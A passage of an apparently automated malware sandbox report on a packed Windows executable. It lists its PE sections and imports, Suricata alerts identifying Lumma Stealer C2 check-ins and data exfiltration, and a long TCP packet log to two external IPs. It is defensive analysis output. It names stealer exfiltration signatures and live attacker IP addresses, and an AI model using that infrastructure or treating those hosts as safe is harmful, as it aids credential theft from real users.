	0x1000	0x58000	0x27e00	aca31f08aa271c9f371c80302e4d0cf5	False	0.9980958561912225	data	7.97523709038707	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x59000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5a000	0x1000	0x200	555a11fa24a077379003c187d9c9d020	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
lqgakhan	0x5b000	0x2a8000	0x2a7e00	d7def2ffc45a1d549239813c7618da6a	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
uzkacypy	0x303000	0x1000	0x400	650f808ebe00e7773078045424f6927a	False	0.798828125	data	6.2130214480566615	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x304000	0x3000	0x2200	79f2c9ae349edf6fbe747be309364e8e	False	0.06456801470588236	DOS executable (COM)	0.8092482092909291	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-28T23:47:03.171272+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49730	188.114.97.3	443	TCP
2024-10-28T23:47:03.171272+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49730	188.114.97.3	443	TCP
2024-10-28T23:47:04.306432+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49731	188.114.97.3	443	TCP
2024-10-28T23:47:04.306432+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	188.114.97.3	443	TCP
2024-10-28T23:47:11.036131+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49735	188.114.97.3	443	TCP
2024-10-28T23:47:17.644476+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49738	188.114.97.3	443	TCP
2024-10-28T23:47:18.578455+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49740	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 23:47:02.019969940 CET	49730	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:02.020076990 CET	443	49730	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:02.020196915 CET	49730	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:02.034878969 CET	49730	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:02.034917116 CET	443	49730	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:02.658693075 CET	443	49730	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:02.658901930 CET	49730	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:02.701493979 CET	49730	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:02.701533079 CET	443	49730	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:02.701915026 CET	443	49730	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:02.745441914 CET	49730	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:02.835752964 CET	49730	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:02.835829973 CET	49730	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:02.835946083 CET	443	49730	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:03.171256065 CET	443	49730	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:03.171369076 CET	443	49730	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:03.171457052 CET	49730	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:03.175633907 CET	49730	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:03.175633907 CET	49730	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:03.175709009 CET	443	49730	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:03.175744057 CET	443	49730	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:03.223126888 CET	49731	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:03.223197937 CET	443	49731	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:03.223284960 CET	49731	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:03.223537922 CET	49731	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:03.223567009 CET	443	49731	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:03.844197035 CET	443	49731	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:03.844346046 CET	49731	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:03.853326082 CET	49731	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:03.853339911 CET	443	49731	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:03.853673935 CET	443	49731	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:03.855664015 CET	49731	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:03.855712891 CET	49731	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:03.855747938 CET	443	49731	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:04.306091070 CET	443	49731	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:04.306138039 CET	443	49731	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:04.306169033 CET	443	49731	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:04.306197882 CET	49731	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:04.306220055 CET	443	49731	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:04.306272984 CET	49731	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:04.306376934 CET	443	49731	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:04.306780100 CET	443	49731	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:04.306834936 CET	443	49731	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:04.306842089 CET	49731	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:04.306854963 CET	443	49731	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:04.306909084 CET	443	49731	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:04.306919098 CET	49731	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:04.306934118 CET	443	49731	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:04.307007074 CET	49731	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:04.307446003 CET	443	49731	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:04.355060101 CET	49731	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:04.425286055 CET	443	49731	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:04.425427914 CET	443	49731	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:04.425461054 CET	443	49731	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:04.425492048 CET	443	49731	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:04.425586939 CET	443	49731	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:04.425647020 CET	49731	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:04.425647020 CET	49731	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:04.425647974 CET	49731	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:04.426348925 CET	49731	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:04.426378965 CET	443	49731	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:04.426404953 CET	49731	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:04.426419973 CET	443	49731	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:04.566334009 CET	49732	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:04.566431999 CET	443	49732	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:04.566541910 CET	49732	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:04.566977978 CET	49732	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:04.567018986 CET	443	49732	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:05.208081007 CET	443	49732	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:05.208648920 CET	49732	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:05.210339069 CET	49732	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:05.210395098 CET	443	49732	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:05.210789919 CET	443	49732	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:05.212485075 CET	49732	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:05.212675095 CET	49732	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:05.212724924 CET	443	49732	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:05.212867022 CET	49732	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:05.212884903 CET	443	49732	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:05.875256062 CET	443	49732	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:05.875394106 CET	443	49732	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:05.875566959 CET	49732	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:05.876302958 CET	49732	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:05.876355886 CET	443	49732	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:06.041901112 CET	49733	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:06.041939974 CET	443	49733	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:06.042172909 CET	49733	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:06.042757988 CET	49733	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:06.042773962 CET	443	49733	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:06.660665035 CET	443	49733	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:06.660799980 CET	49733	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:06.666712999 CET	49733	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:06.666722059 CET	443	49733	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:06.666927099 CET	443	49733	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:06.668646097 CET	49733	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:06.668823004 CET	49733	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:06.668850899 CET	443	49733	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:07.157594919 CET	443	49733	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:07.157682896 CET	443	49733	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:07.157757044 CET	49733	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:07.157944918 CET	49733	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:07.157962084 CET	443	49733	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:07.396979094 CET	49734	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:07.397094011 CET	443	49734	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:07.397226095 CET	49734	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:07.397625923 CET	49734	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:07.397660971 CET	443	49734	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:08.031660080 CET	443	49734	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:08.031888008 CET	49734	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:08.066371918 CET	49734	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:08.066407919 CET	443	49734	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:08.066874027 CET	443	49734	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:08.068486929 CET	49734	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:08.068681955 CET	49734	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:08.068736076 CET	443	49734	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:08.068841934 CET	49734	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:08.068861961 CET	443	49734	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:09.323775053 CET	443	49734	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:09.323910952 CET	443	49734	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:09.324013948 CET	49734	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:09.324124098 CET	49734	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:09.324172020 CET	443	49734	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:09.851854086 CET	49735	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:09.851891994 CET	443	49735	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:09.851963997 CET	49735	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:09.852329016 CET	49735	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:09.852340937 CET	443	49735	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:10.465600014 CET	443	49735	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:10.465711117 CET	49735	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:10.467331886 CET	49735	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:10.467359066 CET	443	49735	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:10.467685938 CET	443	49735	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:10.469496012 CET	49735	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:10.469641924 CET	49735	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:10.469652891 CET	443	49735	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:11.036129951 CET	443	49735	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:11.036247969 CET	443	49735	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:11.036322117 CET	49735	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:11.083539009 CET	49735	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:11.083570004 CET	443	49735	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:11.994920015 CET	49736	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:11.994987965 CET	443	49736	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:11.995088100 CET	49736	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:11.995537043 CET	49736	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:11.995556116 CET	443	49736	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:12.607156992 CET	443	49736	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:12.607352018 CET	49736	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:12.609324932 CET	49736	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:12.609361887 CET	443	49736	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:12.609705925 CET	443	49736	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:12.611418962 CET	49736	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:12.612608910 CET	49736	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:12.612652063 CET	443	49736	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:12.612787008 CET	49736	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:12.612831116 CET	443	49736	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:12.612991095 CET	49736	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:12.613028049 CET	443	49736	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:12.613244057 CET	49736	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:12.613282919 CET	443	49736	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:12.613481045 CET	49736	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:12.613802910 CET	443	49736	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:12.613992929 CET	49736	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:12.614027977 CET	443	49736	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:12.614042997 CET	49736	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:12.614056110 CET	443	49736	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:12.614316940 CET	49736	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:12.614348888 CET	443	49736	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:12.614373922 CET	49736	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:12.614620924 CET	49736	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:12.614661932 CET	49736	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:12.624270916 CET	443	49736	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:12.624492884 CET	49736	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:12.624525070 CET	443	49736	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:12.624557972 CET	49736	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:12.624577999 CET	443	49736	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:12.624610901 CET	49736	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:12.624622107 CET	443	49736	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:12.624665022 CET	49736	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:12.624680996 CET	443	49736	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:16.298226118 CET	443	49736	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:16.298521996 CET	443	49736	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:16.299199104 CET	49736	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:16.299199104 CET	49736	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:16.451584101 CET	49738	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:16.451678038 CET	443	49738	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:16.451838017 CET	49738	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:16.452548027 CET	49738	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:16.452564001 CET	443	49738	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:16.604885101 CET	49736	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:16.604943991 CET	443	49736	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:17.072398901 CET	443	49738	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:17.072527885 CET	49738	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:17.164458990 CET	49738	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:17.164485931 CET	443	49738	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:17.164902925 CET	443	49738	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:17.181117058 CET	49738	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:17.181168079 CET	49738	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:17.181226015 CET	443	49738	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:17.644545078 CET	443	49738	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:17.644773960 CET	443	49738	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:17.644836903 CET	49738	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:17.650505066 CET	49738	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:17.650520086 CET	443	49738	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:17.650533915 CET	49738	443	192.168.2.4	188.114.97.3
Oct 28, 2024 23:47:17.650541067 CET	443	49738	188.114.97.3	192.168.2.4
Oct 28, 2024 23:47:17.653752089 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:17.659092903 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:17.659158945 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:17.659537077 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:17.664805889 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.578285933 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.578319073 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.578413963 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.578450918 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.578454971 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:18.578485966 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.578521967 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.578527927 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:18.578553915 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.578589916 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.578617096 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:18.578623056 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.578656912 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.578692913 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:18.578732014 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:18.585302114 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.585336924 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.585371017 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.585470915 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:18.636117935 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:18.736923933 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.736953974 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.736970901 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.737087011 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.737102032 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.737117052 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.737123013 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:18.737133026 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.737169027 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:18.737286091 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:18.737708092 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.737731934 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.737829924 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:18.737917900 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.737941027 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.737961054 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.737976074 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.737996101 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:18.738024950 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:18.738686085 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.738699913 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.738749981 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:18.792623997 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:18.991465092 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.991556883 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.991611004 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.991645098 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.991679907 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.991688967 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:18.991724968 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:18.991750002 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.991784096 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.991810083 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:18.991817951 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.991851091 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.991867065 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:18.991883993 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.991916895 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.991946936 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.991947889 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:18.991981983 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.992016077 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.992046118 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.992049932 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:18.992050886 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:18.992078066 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.992111921 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:18.992115021 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.992175102 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:18.992275000 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.992332935 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:18.992346048 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.992378950 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.992413044 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.992439032 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:18.997642994 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.997658968 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.997673988 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.997689962 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.997704029 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:18.997730970 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:18.997730970 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:18.997792006 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:18.997924089 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.017493010 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.017525911 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.017555952 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.017560005 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.017642021 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.017644882 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.017673969 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.017774105 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.093591928 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.093657017 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.093691111 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.093717098 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.093724966 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.093776941 CET	49740	80	192.168.2.4	185.215.113.16
